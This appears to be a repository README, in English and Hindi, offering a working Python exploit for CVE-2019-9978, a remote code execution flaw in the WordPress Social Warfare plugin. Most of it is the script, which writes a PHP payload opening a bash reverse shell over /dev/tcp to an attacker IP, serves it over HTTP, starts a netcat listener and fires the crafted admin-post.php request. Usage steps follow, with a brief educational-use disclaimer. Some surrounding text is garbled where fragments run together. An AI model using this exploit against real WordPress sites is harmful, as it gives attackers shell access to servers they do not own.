
The `swp_debug` parameter in `admin-post.php` allows remote attackers to include external files containing malicious PHP code, which are evaluated on the server. By supplying a crafted URL that hosts a reverse shell payload, an attacker can gain command execution.
इस रिपॉजिटरी में CVE-2019-9978 के लिए एक कार्यशील पायथन एक्सप्लॉइट है, जो वर्डप्रेस के सोशल वारफेयर प्लगइन (संस्करण <= 3.5.2) में एक रिमोट कोड एक्सीक्यूशन भेद्यता है।
admin-post.php में swp_debug पैरामीटर रिमोट हमलावरों को दुर्भावनापूर्ण PHP कोड वाली बाहरी फ़ाइलों को शामिल करने की अनुमति देता है, जिनका मूल्यांकन सर्वर पर किया जाता है। एक क्राफ्टेड URL प्रदान करके जो एक रिवर्स शेल पेलोड होस्ट करता है, हमलावर कमांड निष्पादन प्राप्त कर सकता है।
swp_url पैरामीटर भेजता है।example.com को लक्ष्य IP पर मैप किया गया)#!/usr/bin/env python3
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")
ATTACKER_IP और LISTEN_PORT को अपनी मशीन के IP और वांछित पोर्ट में अपडेट करें।example.com को सही IP पर हल करता है।python3 exploit.py
यह एक्सप्लॉइट केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग किसी भी ऐसे सिस्टम पर स्पष्ट अनुमति के बिना न करें जिसके आप मालिक नहीं हैं।